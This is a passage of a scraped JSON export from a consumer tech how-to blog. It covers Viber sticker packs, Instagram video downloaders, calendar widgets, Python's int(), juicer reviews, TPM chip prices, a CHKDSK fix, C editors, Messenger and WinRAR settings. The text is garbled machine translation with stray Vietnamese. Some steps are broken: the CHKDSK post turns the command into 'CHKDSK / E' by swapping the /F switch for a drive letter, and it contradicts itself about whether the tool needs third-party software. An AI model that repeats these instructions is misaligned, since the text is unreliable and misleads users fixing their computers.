tools to edit each image, then create a sticker package. Each sticker pack has a maximum of 24 stickers and you can create 20 sticker packs. Sticker after creating will show up right in your sticker store to use. The following article will guide you to create sticker packs on Viber.\nHow to create quality Zalo, Facebook stickers How to use AiMee to create stickers from faces How to create your own Telegram sticker How to create Facebook stickers with Zamoji Instructions to create a sticker pack Viber The feature of creating sticker packages is currently only available for Android Viber. After creating the sticker, the sticker package is synchronized on other versions of Viber.\nStep 1:\nIn the messaging interface on Viber, users click on Add in the bottom right corner. Then click on Sticker Market. Switch to the new interface we click on the pen icon above as shown.\nStep 2:\nDisplay interface to create sticker packages on Viber. We enter the required sticker package name and description for the sticker package if available. Then click the plus icon to add images. Shows where you want to take photos , are available in the gallery or take photos directly to create stciker from your own face.\nStep 3:\nDisplays the interface of the sticker editing tools . With the Wand icon will remove all surrounding background of the image. Note that when using this tool, the wallpaper may not erase or delete the details of the image. To cancel the previous correction, click the back arrow icon in the right corner.\nStep 4:\nClick on the Text tool to write text on the sticker. There is a color picker next to use it. Click on Sticker to add graphics to your sticker. In addition, if you have great drawing skills, there is an additional Pen tool to draw directly into the sticker.\nWhen you have completed the sticker design operations, click Save sticker below.\nStep 5:\nWe continue to add other stickers to the package we are creating. Below will have the option to turn on public or private mode for the sticker package you are creating. If you cancel it publicly, only you will be able to use it without showing it in the repository for others to download.\nClick Create package to proceed to create sticker packages on Viber. Sticker when created will not be able to edit, click Create to complete.\nStep 5:\nSo you have completed the operation of creating Viber sticker packages. We open the Viber message and click on the sticker icon to display the sticker package you are using on Viber. Immediately we will see the sticker pack that you created yourself to use.\nViber iPhone version will automatically sync sticker package. With the Viber PC version , the user needs to open the sticker list and then click the sync icon to create a sticker sticker package.\n  With this interesting feature, users will create more interesting sticker packs from any images or from your own face. Hopefully next time Viber will also provide this feature for iOS devices and computers.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYysq6Kbm5q%2FbrzAnKKan5WoerC6jK%2Bgm52i\n","link":"/post/how-to-create-sticker-packages-on-viber/","section":"post","tags":null,"title":"How to create sticker packages on Viber"},{"body":"Downloading videos on Facebook, or downloading videos on Instagram, is no longer a difficult and complicated thing to do compared to before. Now we can use a lot of online download sites, or applications that support video downloads. To download Instagram videos on your computer or phone, users have many different ways to download videos. The video will be downloaded and saved to the computer, or the phone collection. Here are the simplest ways to download Instagram videos that the Network Administrator will guide to readers.\nHow to post photos to Instagram from a computer How to download Instagram photos to computers and phones Instructions for using Instagram on computers 1. Download Instagram videos via Siri shortcuts Siri shortcuts is an iPhone application that gathers a lot of shortcuts with different features and uses. To download videos on Instagram, we will use SMD shortcut 3.5.8. This shortcut allows you to save one or more Instagram videos to the gallery, or upload videos to other social networking sites. However, SMD 3.5.8 does not support downloading videos on Instagram Stories and promotional videos.\nStep 1:\nUsers access the link below to install SMD shortcut 3.5.8. Click Next Get the shortcut , then enter 0 to agree to automatically save the video to your device album. Continue to press 0 to select the English language. If not, press Continue and press Done .\n https://www.icloud.com/shortcuts/a8dfe15e6872473d8393bf5feb3feaa3      Step 2:\nNow users open personal Instagram and find the video they want to download to the phone. Here click on the 3 dot mark icon and select Copy link .\n   Step 3:\nGo back to the Siri shortcuts application interface and press the SMD 3.5.8 shortcut to run the shortcut. The shortcut will take the video URL that we copied into the device's memory and proceed to download the video. Display videos on Instagram, click on the share icon in the right corner of the screen.\n   Finally, click Save video to download the video to the album. Open the album interface we will see the newly downloaded video.\n   Step 4:\nShortcuts with support for downloading many Instagram video posts . We also click the 3 dots icon and select Copy link, press the SMD 3.5.8 shortcut to run the shortcut.\nYou will then see the total number of videos in the post. Below will be the options to download all videos in the post (Download All) or to choose to download videos (Select Manually). If you choose to download the video, the user will have a selection list as below.\nSelect the video to load and click Done in the top right corner.\n   Step 5:\nThe process of taking the Instagram video post URL will show up shortly thereafter. Users will also see videos in the video list. Click on the 3 dashes icon to display the detailed list of videos.\nTo download videos you need to press the share icon in turn for each video and click Save video to download the video.\n    2. Download directly to the device via the browser In order to be able to download an Instagram video to your device, we first need to prepare the specific download tools here, which are software and utilities that support this and are compatible with the web interface. If you own a PC or laptop running Windows, your suggestion is Internet Download Manager software (IDM).\nOn the other hand, if you are using Mac OS X, Flash Video Downloader is a bad choice. This is a free extension that allows Firefox users to download and install very quickly.\nThe second step, after having prepared the tool, visit Instagram via webstagram web browser . The final step is to select the video you want to save and proceed with the download.\n  3. Download Instagram videos with IFTTT IFTTT is an acronym for If This, Then That (if this is the case then), it is a tool that allows to create a process (trigger), capable of automatically operating when sufficient conditions occur namely, activation actions.\nTo be able to download and upload Instagram videos via IFTTT, you first need to access the IFTTT homepage to create an account.\nThen, click the Create -\u0026gt; this box . This system will ask you to select the application to install Trigger. Here, we will choose Instagram as the trigger.\n  \nAfter that, please confirm your Instagram account:\n  \nNext, choose how the trigger works. For example, if you select the You like a video box - Whenever you press any like 1 video button on Instagram, the trigger will be activated and operated according to the procedure you set.\n  \nClick the Create Trigger button to complete the process creation process:\n  \nNext step, we need to select the task for the newly created trigger, for example: Save video to Dropbox .\n  \nNext, log in to Dropbox. Then, choose how Dropbox works when the trigger has just been activated.\n  \nTo finish the installation, press Create Action and Creat Recipe.\n   \nFrom here, if we want to download a video on Instagram, just press the like button and the video will be saved directly to Dropbox.\n4. Video Downloader for Instagram   \nIf you find it difficult to use file managers, Android users can find many Instagram download apps in Google Play Store. One of the most popular applications is Video Downloader for Instagram. It allows downloading or re-posting videos from Instagram and Vine with one click. The content will be automatically added to the Gallery application on the phone. The most recent update, the app can even download tags with videos.\nDownload: Video Downloader for Instagram\n5. Postgraber.com PostGraber differs from many other web-based Instagram video downloading tools. While most of these applications can only retrieve part of the content for each post, PostGraber can download all photos and videos related to a post.\n  All you need to do is get the URL of the Instagram post you want to download. You can get this link on the mobile application by going to .\u0026gt; Copy Link or from the address bar of the browser on the web application. Paste the URL in the box on the PostGraber website and click Go . Web applications will do the rest.\n( Note: This app only works with public Instagram posts.)\n6. Dredown.com Dredown, formerly called Instadown, is one of the first Instagram video download tools and it's quite powerful. Like PostGraber, you just need to get the URL to download Instagram videos. Paste the URL in the box and click on Dredown . Within a few seconds, the browser will start downloading MP4 files.\n  Dredown works with more services not only with Instagram. You can also use it to download content from YouTube, Facebook, Keek, Twitter, Twitch, Vine, Vimeo, Metacafe, Vevo, Kohtakte and Tumblr. For all the services it supports, just post the URL, video or photo you want to save.\n7. Regrammer The above tools are all web apps or applications for Android. So how can I download Instagram videos from iOS? Yes, there are some apps in the App Store that have the ability to download Instagram videos, but they often have in-app ads and purchases and are difficult to use.\nOnly Regrammer is the exception. This application is completely free and although supported, these ads do not make users feel uncomfortable.\n  Similar to the above applications, you need the URL of the Instagram video you want to download. Then open the Regrammer app, paste the URL and click Preview . On the last page, you can choose to download videos to your device or repost them on other social networks.\nDownload : Regrammer\n8. Gramblast This is another web application. Similarly, get the URL of the video or image, then paste it into the Gramblast web application and click Download .\n  Depending on the size of the file, you will receive a new MP4 on your computer at different time intervals, sometimes in seconds and then upload to other social networks or store on your hard drive.\nIt's easy to download Instagram videos, but don't forget that you don't have rights to videos you don't create. You can download, enjoy but cannot upload them to any social media or distribute in any way.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJ2np6O5sK3DZqCnq6SWtLOtzGatopyVpMA%3D\n","link":"/post/how-to-download-download-instagram-videos/","section":"post","tags":null,"title":"How to download, download Instagram videos"},{"body":" On Windows and Mac you can use widgets to pin a calendar to your desktop. However, many of these widgets lack the ability to add events or sync with other calendars. This wikiHow teaches you how to add a calendar widget to your desktop as...\nMethod 2of 4:\nSyncing Another Calendar to the Windows Calendar  Open the Windows Calendar app. Use the following steps to open the Windows Calendar. Click the Windows Start menu. Type \"Calendar\". Double-click the Calendar app in the Start menu.   Click the Gear icon. It's at the bottom of the sidebar menu to the left. This displays the Settings menu in a sidebar to the right.\n  Click Manage Accounts. It's at the top of the Settings menu to the right.\n  Click + Add Account. This option appears in the menu to the right when you click \"Manage Accounts\". This displays a window with a list of services you can add.\n  Click a service you want to add. You can add an Outlook, Exchange, Google, Yahoo, or iCloud account.\n  Sign in to your account. The sign-in screen is a little different for each service. You will most likely need to enter the email address and password associated with the service you want to add. For example, if you want to add a calendar associated with your Google account, you would sign in with the email address and password associated with your Google account.\n  Click Allow. This allows Windows to access the information associated with the account you signed in to.\n Method 4of 4:\nAdding a New Calendar Service to Apple Calendar  Open the Calendar app. If it's not in your dock, click the magnifying glass icon in the upper-right corner and type \"Calendar.app\" and press the Enter key. This opens the Apple Calendar app.\n  Click the Calendar menu. It's in the upper-left corner of the screen in the menu bar. This displays a drop-down menu.\n  Click Add Account. This displays a window with a list of services you can add.\n  Select a service and click Continue. There are several calendar services you can add to Apple Calendar. You can add an iCloud account, Exchange, Google, Facebook, Yahoo, AOL, or Other CalDAV account. Click Continue in the lower-right corner of the window when you are ready.\n  Sign in to your account. The sign-in screen is going to be a little different depending on which service you want to add. You will most likely need to enter the email address and password associated with the account you want to sign in to. For example, if you want to add a calendar associated with your Google account, you would sign in with the email address and password associated with your Google account.\n  Click the checkbox next to \"Calendar\" and click Done. You can also add email, contacts, and notes to your Apple services. Check Calendar to add your calendar and click Done in the lower-right corner. This adds the calendar to your Apple Calendar app. You can click the different calendars you have added in the sidebar to the left. To add an event to the Apple Calendar, click a time slot below a date and fill out the form in the pop-out window.   Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqiecKao56mlJa%2FbrvNZrCoraJisaa%2Fyq2mqQ%3D%3D\n","link":"/post/how-to-get-a-calendar-on-your-desktop/","section":"post","tags":null,"title":"How to Get a Calendar on Your Desktop"},{"body":"Surely many of us have had a time of \"young buffalo\" leader, a day posting dozens of status and photos for life that now do not want anyone to see, even when Facebook recalled that old memory. you ask yourself why can you post such status? And now you just want to delete them immediately. Instead of losing search or downloading applications to the phone to delete status series, remove the Facebook tag, now it has become much simpler with a single click of a button. Right now TipsMake.com will show you how to do it on the fastest smartphone most quickly.\nHow to remove the code as a video format on Facebook Messenger 4 ways to hack Facebook you should know to protect your Facebook account Do you know how to create the Like button effect on Facebook? Tips to mass delete status, remove Facebook tag Step 1: Open the Facebook application and switch to your personal page. Scroll down to select Manage settings.\n  Step 2: After selecting, all your previous posts on Facebook as well as tagging posts will appear here. Your job now is to select the posts that need to be deleted, hidden or removed.\n  Step 3: Select delete to finish.\n  In addition, to make search results more accurate, you can also use additional filter features to help delete status and remove a series of old posts, this is a very useful feature that Facebook has just updated. Japanese Here, users can refine the posts, photos, videos posted by day / month / year at a glance instead of having to surf the News Feed tired hand as before.\n  It's simple and easy, isn't it? I wish you a successful operation and don't forget to share it with your friends if you find it useful.\nMaybe you are interested:\nThe most popular Facebook Live Stream video software ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRqMBusMSlnK2dXajBosDUrGSrnZ2kw6Z5xZqanpqfpLhuwMCgZKKmXaS7pnnCpaCcow%3D%3D\n","link":"/post/how-to-mass-delete-status-remove-facebook-tag-in-one-click/","section":"post","tags":null,"title":"How to mass delete status, remove Facebook tag in one click"},{"body":"The int () function in Python returns an integer object from any number or string. How is the int () function syntax, what parameters does it have and how is it used? Invites you to read the track.\nSyntax of int () function in Python  int(value, base)  Parameters of int function () The int () function has 2 parameters:\nvalue: number or string to convert into an integer base: number represents the number format. Default value: 10 Value returned from int () The int function returns:\nan integer from the transmitted number or string. If there are no parameters, return 0 For example, how does the int () function work?\n# integer print(\"int(123) là:\", int(123)) # float # viết bởi TipsMake.com print(\"int(123.23) là:\", int(123.23)) # string print(\"int('123') là:\", int('123'))  Run the program, the result is:\n int(123) là: 123 int(123.23) là: 123 int('123') là: 123  Example 2: Where decimal, octal and hexadecimal? # nhị phân 0b hoặc 0B print(\"Chuyển đổi giá trị nhị phân 1010 sang int là:\", int('1010', 2)) print(\"Chuyển đổi giá trị nhị phân 0b1010 sang int là:\", int('0b1010', 2)) # bát phân 0o hoặc 0O # viết bởi TipsMake.com print(\"Chuyển đổi giá trị bát phân 12 sang int là:\", int('12', 8)) print(\"Chuyển đổi giá trị bát phân 0o12 sang int là:\", int('0o12', 8)) # thập lục phân print(\"Chuyển đổi giá trị thập lục phân A sang int là:\", int('A', 16)) print(\"Chuyển đổi giá trị thập lục phân 0xA sang int là:\", int('0xA', 16))  Run the program, the result is:\n Chuyển đổi giá trị nhị phân 1010 sang int là: 10 Chuyển đổi giá trị nhị phân 0b1010 sang int là: 10 Chuyển đổi giá trị bát phân 12 sang int là: 10 Chuyển đổi giá trị bát phân 0o12 sang int là: 10 Chuyển đổi giá trị thập lục phân A sang int là: 10 Chuyển đổi giá trị thập lục phân 0xA sang int là: 10  Don't forget to explore other important Python functions that TipsMake.com has introduced.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAjJ%2Bsp5uknryvecinZKmxpJ28rw%3D%3D\n","link":"/post/int-function-in-python/","section":"post","tags":null,"title":"Int () function in Python"},{"body":"Hurom is an extremely prominent and impressive name in slow presses. To help consumers have a more complete look at this product. Follow us on the article reviewing the slow pressing machine Hurom below!\ncontent What country is Hurom's slow press? Is the Hurom review machine slow down good? Advantages of Slow Hurom presses User evaluation of the Hurom press machine  Top best Hurom slow presses today   What country is Hurom's slow press? Hurom is a famous brand from Korea, founded in 1974. Until now, after 45 years of establishment and development, Hurom has risen to assert itself to be the No.1 brand in Korea and at the same time. The world's leading brand in the field of manufacturing all kinds of multi-function blender, juicer .\nIn 2018, Hurom topped the list of the 15 most versatile juicer types. In addition, the slow line of this brand is also highly appreciated by consumers.\nIn the Vietnamese market, Hurom's slow speed juicer is imported and distributed in its entirety with various models and features.\n  Is the Hurom review machine slow down good? In order to evaluate the low pressure Hurom press, please first find out the advantages of this product line:\nAdvantages of Slow Hurom presses - Hurom speed slow juicer is produced on modern technology lines and won many prestigious awards such as: Red Dot Award, iF product design award, International Excellent Design Award (IDEA) .\n- Extraction technology of extremely modern and advanced machines is also patented in Korea. Unlike conventional presses, the slow speed press Hurom uses screw pressing technology to keep the flavor of the juice always bold, keeping all the nutrients in the food.\n- When using the slow Hurom press, you will see that the residues of foods will be much drier, so the amount of juice squeezed will be much higher than using other models.\n- 100% of the Hurom fruit-wrenching machines in general and the Hurom slow-pressing machine in particular are made of high-quality, environmentally friendly and special materials that are not harmful to health. The same body filter is made up of 8 times harder ULTEM plastic than regular plastic, which offers high durability when used.\n- In addition to impressive pressing ability to produce more water, more dense, users also appreciate it because this press machine does not cause unpleasant noise when operating.\n- With automatic cleaning feature, you can easily clean the machine after using one button. In particular, you don't even need to use detergents and still be able to fly back the residual food residues.\n- Long-term warranty up to 10 years for engines to help users feel more secure when using. This is one thing that no other press company in the world can do.\n- In addition, Hurom's slow speed juicer is very versatile, giving users an extremely interesting experience:\nPressing a variety of foods: With a strong pressing capacity, slow pressing machine Hurom can squeeze a variety of foods from vegetables, tubers, fruits . they even squeeze the whole grass. No need for a blender, just a Hurom's slow speed juicer can treat your friends. People with colorful smoothies. Besides, you can also use the machine to make nuts like soy beans, red beans . More specifically, from Hurom HAA 2016 onwards, Hurom also equipped with accessories to help users easily make super cool, cool fruit ice cream.   Hurom machine price is how much? In general, Hurom's slow press is not a low-end product line. Want to own a slow press of this brand, users need to spend from about 7 million to tens of million.\nHowever, considering the overall performance and quality that Hurom offers, this price is quite worthy for you to invest in order to get a long-term, stable product.\nUser evaluation of the Hurom press machine Here are the low Hurom ratings of consumers:\nMs. Van - Nam Dinh: In the past, when using a press machine, I had to make full use of facial residue and exfoliation. But when I turned over to the slow presser Hurom, I had no chance to use it anymore because they were so dry, there was no water left.\nMs Hang - Hoang Mai: Hurom's slow pressing machine produces quite rich and nutritious juice glasses, since I use this machine I don't want to switch to another model.\nMs. Thu - Nguyen Trai: I am quite satisfied with Hurom's slow press, when I pressed it, it didn't sound like the old machines I used were especially versatile, so I really liked it.\nFrom the reviews and sharing of users' reality, did you get the answer to the question of the slow press Hurom good? Here are a few suggestions for the best selling models today, giving you more options for yourself.\nTop best Hurom slow presses today Product Specifications Hurom juicer HZ-SBE17\nPrice: 11,399,000 VND\n  Capacity: 500ml Case material: Stainless steel Length of power cord: 1.4m Capacity: 150W Voltage source: 220V - 240V / 50Hz - 60Hz Speed: 43 rpm Fuse: 250V / 5A Warranty: Engine (10 years) Hurom juicer HAA-LBE17\nPrice: VND 9,980,000\n  Motor wire length: 1.4m Voltage source: 230V-240V / 50Hz-60Hz Speed: 43 rpm Power consumption: 150W Fuse: 250V / 5A Warranty: For engines (10 years) Hurom juicer HZ-LBE17\nPrice: 11,399,000 VND\n  Length of power cord: 1.4m Rotation speed: 40 - 43 rpm Capacity: 150W Voltage source: 220V - 240V Continuous use: less than 30 minutes Warranty: Engine (10 years) Hurom H-AI SBE 20 speed slow juicer\nPrice: VND 10,500,000\n  Length of power cord: 1.4m Rotation speed: 40 - 43 rpm Capacity: 200W Continuous use: less than 30 minutes Warranty: Engine (10 years) Hurom H-AI UBE slow speed juicer\nPrice: VND 10,500,000\n  Rotation speed: 40 - 43 rpm Capacity: 200W Function: Juice juice Voltage source: 220V / 50Hz Warranty: Engine (10 years) To get genuine, low-quality Hurom speed juicer at reasonable prices. Please contact us immediately for further advice and support:\nIn Hanoi: 024.3568.6969 In HCMC: 028.3833.3366 \u0026gt;\u0026gt;\u0026gt; See more:\nWhat is the best slow speed juicer today? What should I consider when choosing to buy slow presses? Should choose a normal juicer or a slow press? ncG1vNJzZmismaXArq3KnmWcp51ktrR506GcZqClp7yuedGeraKdp2K6oq%2FHoqWeZaOhvLh5w6iup2WXpLyleceormalpZi1\n","link":"/post/is-the-hurom-review-machine-slow-down-good-how-much/","section":"post","tags":null,"title":"Is the Hurom review machine slow down good? How much?"},{"body":"Each operating system has its own shortcut keys so that users can quickly operate on their computer. One of the shortcuts we often use on Windows is the Rename shortcut. When you need to rename multiple files, rename multiple files and folders, using the shortcut will save a lot of time. In this article, the Software Tips will guide you the Rename Shortcut (rename) in Windows.\n  In Windows when you want to rename a file or multiple files, the usual way you will select them and right-click select Rename. If you need to rename a lot of files and files, it is time-consuming and sometimes confusing. Because of that, you can use keyboard shortcuts to save a lot of time to use. On Windows, there are not many shortcuts for Rename, we only have a single rename (Rename):\nF2   Rename shortcut (Rename) F2 you can use for: File, Folder, multiple files, multiple Folders.\nRename shortcut (Rename) F2 you can use for: Windows XP / Vista / 7/8/10 . (most of all versions of Windows).\nFor Laptop devices, if you install additional keys F1 -\u0026gt; F12 are buttons to adjust the screen brightness, increase or decrease the volume . quickly, you need to press the following combination to rename ( Rename ):\nFN + F2   When you rename multiple files and folders by highlighting all and pressing F2, their names will be numbered in turn: Name (1), (2),…. (999+).\nIn this article, the Software Tips introduced you to rename shortcuts (rename) in every version of Windows. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kv6a6wKacZqOVrq%2BwrdGdZKygn6fBpMHTZqmeppGism61zWauoqaUpMS0\n","link":"/post/rename-keyboard-shortcut-rename-in-windows/","section":"post","tags":null,"title":"Rename keyboard shortcut (rename) in Windows"},{"body":"Microsoft recently launched Windows 11, the version of Windows that will succeed the current Windows 10. Windows 11 brings a few interface changes (new Start Menu, rounded windows .), along with a few features such as Snap layout, built-in Microsoft Teams, enhanced gaming experience and especially is the ability to run Android apps.\n However, to get these features, Windows 11 also requires very demanding hardware. Besides the basic requirements such as dual-core 1Ghz 64-bit chip, 4GB RAM, 64GB hard drive. Windows 11 also requires TPM 2.0 security chip.\nTPM, short for Trusted Platform Module, is an optional component on a PC. It can be integrated on the motherboard or directly on some newer CPU models. The task of TPM is related to the security of the machine, specifically the encryption of data on the hard drive. Since this is a need that most users don't need, TPM is something that gets very little attention.\n According to initial information published by Microsoft, a PC that only needs a TPM 1.2 chip is eligible to upgrade to Windows 11. However, Microsoft later corrected this information, and said that Windows 11 requires a PC. must have a TPM 2.0 chip. In addition, the list of supported CPUs also shows that only Intel 8th generation or higher or AMD Ryzen 2000 or higher chips can install Windows 11.\nIt is this requirement of Windows 11 that has caused users' interest in removable TPM chips to spike in the past few days. Even the \"buyers\" took this opportunity to buy a series of TPM chips to sell at a higher price in order to make a profit.\nThe TPM 2.0 chips, which used to cost only about 10-15 USD but still no one cared about, suddenly became a hot commodity and pushed the price many times higher. For example, a Gigabyte TPM 2.0 chip with model number GC-TPM2.0 is being sold on eBay for. $175, 10 times higher than just a few days ago.\n  TPM chips are being sold for dozens of times the original price on eBay\nHowever, to find a TPM chip is not easy. As mentioned above, before that TPM chips like this were something that few people cared about, so it was produced in relatively limited quantities. This makes the supply of TPM chips already scarce, becoming even more scarce after the launch event of Windows 11.\nCurrently, on e-commerce sites, TPM chips with prices considered \"acceptable\" (under 30 USD) are all out of stock. One of the main reasons leading to this situation is that speculators buy a large amount of TPM chips as soon as they realize that user demand will continue to increase in the near future.\n An Asus TPM chip used to cost around $1.22 to $7.99, then jumped to more than $20 after Microsoft announced Windows 11. This chip is now out of stock.\nHowever, users should not rush to buy TPM chips at this time. Not only because of the high price, but users still have a lot of time to wait because the official version of Windows 11 will not be officially released until the end of this year. In addition, on the previously leaked Windows 11 version, users have found a way to edit the installer so that it can bypass the hardware requirements, making it possible for any PC to upgrade to Windows 11 without the need for a chip. TPM.\nncG1vNJzZmismaXArq3KnmWcp51kwamtzaSqZqyfYsSqusOorqxlYWZ6tbTEZqeaqqRiwamt02alqJqfmcZur8CrnJ1lkZe8tsCMm5yfp6KaerTBw52cp6SpYq%2Bmr8CmnGahnmLAqbvRrWSsraClubp5yKeaq52RqLavs4ytn55loKe2pLGMppinsV2ptq6x0g%3D%3D\n","link":"/post/thanks-to-windows-11-the-part-that-nobody-cared-about-before-suddenly-became-in-short-supply-increasing-the-price-many-times/","section":"post","tags":null,"title":"Thanks to Windows 11, the part that nobody cared about before suddenly became in short supply, increasing the price many times"},{"body":"'Cannot delete / Access denied' hay 'Không thể xóa thư mục: những thư mục không phải trống' is one of the most common errors in Windows XP, Windows Vista, Windows 7 and Windows 8. This error occurs while you try Delete a folder on the system.\nTo fix the error 'Cannot delete / Access denied' or 'Cannot delete folder: the directory is not empty' you cannot use CHKDSK without installing and using any 3rd party software or programs .\n  To fix the error 'Cannot delete folder: The directory is not empty', follow the steps below:\nStep 1: Press the Windows + R key combination to open the Run command window, then enter CHKDSK / F in the Run command window and press Enter.\nNote:\nIn the above command, replace F with the drive name containing the directory you want to delete.\nFor example, if the folder you want to delete is in drive E, you use the command: CHKDSK / E.\nStep 2: Now on the screen you will see the message:\n\"Chkdsk cannot run because the volume is in use by another process. Bạn có thể xử lý các phân vùng này để kiểm tra thời gian hành động việc thử tiếp tục (Y / N)\".\n  Step 3: Your task is to enter Y and press Enter to agree.\nStep 4: After pressing Enter, the Run command window will automatically close.\nStep 5: Restart your computer to start the scanning process.\nStep 6: After the scan finishes, proceed to open the drive and try to delete the folder you want to delete earlier but report an error.\nStep 7: If the directory is deleted and does not display any error messages, it means that CHKDSK has fixed the error 'cannot remove directory not empty'.\nRefer to some of the following articles: Instructions for fixing Access Denied errors during file or folder access on Windows Use CMD to create an 'undeleted' folder on Windows 7 commands to manipulate the most basic files and folders everyone must know Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaema22r7OMnqmrp6KoeqStzaemrWWUmrmmwMRmnaiklJq%2FbsDHnmSdoaKasLW70bJkoqtdo7y1ecSmp62x\n","link":"/post/the-directory-is-not-empty/","section":"post","tags":null,"title":"The directory is not empty'"},{"body":"When learning any programming language, the most important thing is to have an appropriate code editing software. C programming is the same, you will need to have a good coding environment, which makes it easy to program and detect errors. Depending on the usage and familiarity, you will choose the editor that suits you. In the content of this article, TipsMake.com will summarize the 5 most popular C programming software currently used by many programmers. Please follow along.\n1. Sublime Text software Download link: https://www.sublimetext.com/3\n  The Sublime Text editor is the best editor on the market. This is an exclusive software with a focus on features. Not only is it a great option for a powerful IDE, but it is also very lightweight, helping to get the job done efficiently and accurately. This software supports cross-platform operating systems such as Windows, MAC and Linux, in addition, it also has a very nice interface. Sublime text comes with advanced code editing features that allow you to autofill, autocomplete, functions referenced in a file, multiple selections, split editing, and more.\n2. Notepad ++ software Download link: https://notepad-plus-plus.org/download/v7.5.6.html\n  Notepad ++ is a free programming language editing tool that supports many different programming languages ​​such as ASP, PHP, Java, C, Python, Jsp . Notepad ++ is not Windows Notepad. Thanks to Notepad ++, now the source code editing and inserting a code code is faster and more compact than ever, saving time and effort for programmers. Besides, it also comes with syntax highlighting that helps many languages ​​including PHP, JavaScript, HTML and CSS. Combined with a built-in FTP plugin it allows you to connect to the server and can easily edit your files directly without leaving the editor.\n3. Atom software Download link: https://atom.io\n  Atom is a newly created text editor and is well received by the developers in the programming community because of its many worthwhile features. Atom is open source software, not only free to use, but also users can view and change the source code of the software. You are also free to contribute to the community by developing this text editor software. In addition, it also has quite a nice interface.\n4. Visual Studio Code software Download link: https://code.visualstudio.com/Download\n  This is a Microsoft product, and please note that VS Code is completely different from VS (Visual Studio). It is simply a Text Editor rather than a complete IDE. And in terms of relatives, VSC is Atom's 'cousin' but developed by Microsoft, because it is based on GitHub's Project Electron. And so it naturally supports both Windows, Mac and Linux rather than just Windows or Mac OS like Visual Studio.\n5. Vim software  Download link: https://www.vim.org/download.php\n  This is a powerful editor on all operating systems, Linux, Windows, Unix . Vim has a very high configuration built to allow effective text editing. The program's editor because it is very useful in programming. Vim can be embedded in powerful IDEs such as Visual Studio or Qt Creator, Eclipse, etc. Vim can also be used directly on the graphics platform by gVim or from the terminal.\nAbove TipsMake.com introduced to you 5 best C programming software 2020. Hope through the article you will choose for yourself the right software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqkec%2BrpqCqkaK6qrrGZqqonqSsrrOxjGtna2g%3D\n","link":"/post/top-5-best-c-programming-software-2020/","section":"post","tags":null,"title":"TOP 5 Best C programming software 2020"},{"body":"If you are an Android user, you must immediately turn off these 2 features on Messenger to speed up your phone.\nMessenger is one of the applications that helps you chat freely with relatives and friends and is loved by most users. Use Messenger every day, but you don't know that on Messenger, you have 2 features that you accidentally call to make your phone slow down and show signs of lag. So what is that feature and how to turn it off so that everything becomes more perfect? Please consult the following article immediately.\nInstructions to turn off the feature to automatically run videos on Facebook Messenger How to turn off Facebook face detection Android phone full of memory, what to do to fix? 1. Turn off auto-saving photos to the phone memory Facebook Messenger by default will automatically store all the images that other users have shared with you about the internal storage of mobile devices. In this way, every time you access the Photo application (Photo / Library) you can easily find the shared photos with other users on this application.\nHowever, the fact that Facebook Messenger automatically saves photos can cause the Android device's storage capacity to quickly become exhausted, causing the app's slow operation status. Besides, if you don't notice, the automatic downloading of images quickly drains mobile data. Therefore, you need to prevent this immediately for Android phones to run smoother. To turn off automatic backup of photos on Facebook Messenger to your Android phone, follow these steps:\nStep 1: Access Facebook Messenger installed on the device and select the personal information icon in the upper right corner of the screen.\n  Step 2: Scroll down to select the Photos \u0026amp; Media section to set up the feature to automatically save Facebook Messenger photos on Android.\n  Step 3: Select to turn off Save images, Save when shooting to avoid images automatically downloaded to the device.\n  2. Turn off the chat bubble Messenger   \nBubble chat also known as Chat Head, this feature allows to use the user's avatar as a shortcut to instant chat with friends. It sounds convenient, but do you know that for Chat Head to work, Messenger must run in the background constantly? This is the direct cause of your Android phone becoming slow and laggy. In addition, it is also annoying when it comes to sound, draining the battery and consuming more data than usual. Right now, please refer to the guide to Turn off the bubble chat feature that will help the phone out of TipsMake.com's previous slow and lag to apply to your Android smartphone.\nThe above are two features that make the phone slower on Facebook Messenger, if it is useful to share with friends and relatives who are also using Android phones so they know and turn off these unnecessary things immediately. The phone is more durable and smoother.\nMaybe you are interested:\nHow to check electricity bills via Facebook Messenger Only with Messenger tips, you'll know where the phone owner is How to mass delete status, remove Facebook tag in one click ncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmv8RmaWaelZbBtr7ErGSipZ2asaqt056jsmWfo3qusdKsnKeflad6tLuMrZ%2BarF2Wu6W%2BzqKbZqiYpLumv4yrrKdlo6K8sMDHnqk%3D\n","link":"/post/turn-off-these-2-features-immediately-on-messenger-so-that-android-phones-run-smoother/","section":"post","tags":null,"title":"Turn off these 2 features immediately on Messenger so that Android phones run smoother"},{"body":"WinRAR is currently one of the most popular file compression software applications today. The application allows users to compress file sizes so that they can be easily shared with people via email or other network connectivity options. WinRAR will reduce the actual file size by compressing the original files into .rar files.\nWinRAR also has an option for users to delete the original files after they have been decompressed. In the following article, Network Administrator will guide you how to set up WinRAR to automatically delete the root directory after extracting the data.\nWinRAR settings automatically delete the root directory after decompressing To set up WinRAR to automatically delete the root directory after extracting the data, follow the steps below:\n1. Right-click the file to extract, then click Extract here .\n2. At this time, the extracting path window appears. By default, open the General tab . Your task is to access the Advanced tab .\n3. Here you find the section called Delete Archive . By default, the Delete Archive value is set to Never. This means that dodging files will not be deleted after decompressing.\n  To set WinRAR to automatically delete the root directory after extracting the data, click Always .\n4. Finally, click the General tab and then click Save .\nRefer to some of the following articles:\nCollection of the best file compression and decompression software available today Instructions to collapse the WinRAR menu on the right-click menu Test evaluation of 2 WinRar and 7Zip compression tools Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKq60ZqpZquVqcGqusasZJqtpKS6osDInJilpKlisaa4xK2cZqyYmnqzu86tZJ2hopqwtbvRsmSanqSav26wxJympqiimsC0tc2gZK2glWKxosDA\n","link":"/post/winrar-settings-automatically-delete-the-root-directory-after-decompressing-the-data/","section":"post","tags":null,"title":"WinRAR settings automatically delete the root directory after decompressing the data"},{"body":"Fake IP will help users hide their internet IP address as well as change IP to other countries to facilitate access to blocked websites as well as many other usage 